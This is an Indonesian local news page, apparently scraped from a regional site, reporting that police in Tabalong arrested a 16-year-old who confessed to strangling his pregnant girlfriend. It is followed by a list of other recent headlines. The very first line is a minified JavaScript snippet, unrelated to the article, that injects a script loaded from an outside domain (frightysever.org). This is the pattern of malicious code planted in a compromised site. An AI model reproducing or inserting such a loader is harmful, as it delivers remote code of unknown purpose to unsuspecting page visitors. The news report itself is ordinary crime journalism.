(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

MR Habisi RD Saat Diminta Bertanggung Jawab


TANJUNG, Kepolisian Resort Tabalong akhirnya berhasil mengungkap kasus pembunuhan pada RD (18), wanita hamil yang ditemukan mengambang di sungai.

Setelah meringkus MR (16), diduga pelaku pembunuh pada Sabtu (2/2), anak di bawah umur itu mengakui semua perbuatannya di hadapan polisi.

Ia mengaku membunuh RD yang tidak lain kekasihnya itu, lantaran panik diminta pertanggungjawaban karena kehamilan sang kekasih.

Saat hari naas itu, RD datang ke rumah MR meminta tanggung jawabnya. Karena panik, ia dengan RD terlibat pertengkaran bahkan terjadi saling pukul, hingga RD yang dalam keadaan hamil 8 bulan tertelungkup di tempat tidur.

“Melihat korban tertelungkup timbul niat pelaku menghabisi dengan menjerat menggunakan tali pramuka yang ada di kamar pelaku,” terang Kasat Reskrim Polres Tabalong Iptu Matnur SH, Rabu (6/2).

“Dijerat dengan tali pramuka ternyata tidak mematikan korban, akhirnya pelaku pun mencekik korban hingga meninggal dunia,” kata Matnur.

Lalu pada dini hari MR menyeret RD yang sudah tidak bernyawa ke sungai yang ada di belakang rumahnya untuk dihanyutkan.

Polisi selain melakukan pemeriksaan kepada pelaku juga melakukan otopsi pada mayat RD, dengan bantuan tim forensik RSUD Ulin Banjarmasin. Dari hasil pemeriksaan tim forensik korban meninggal dunia karena dicekik.

“Ini sangat memprihatikan, pelakunya masih di bawah umur, kami akan perlakukan sesuai dengan UU perlindungan anak,” jelas Matnur.

Masa tahanan terhadap MR dibatasi selama 15 hari dan tidak ada perpanjangan penahanan, sehingga pihaknya harus bergerak cepat menyelesaikan kasus pembunuhan tersebut.

MR yang masih berstatus pelajar aktif di salah satu sekolah kejuruan itu terancam hukuman seumur hidup hingga hukuman mati dengan pasal 338 hukum pidana.

“Kami menghimbau kepada seluruh warga Tabalong khususnya orang tua agar lebih peka terhadap gerak gerik dan perilaku anak-anaknya, senantiasa mengawasi serta memberikan bekal agama yang cukup, agar anak-anak kita tidak tergelincir melakukan hal-hal yang melanggar norma susila maupun norma hukum,” pungkas Iptu Matnur. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Kota Banjarbaru Dump Truck Hadiah Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

45 detik ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

14 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

17 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

20 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

22 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

22 jam ago

This website uses cookies.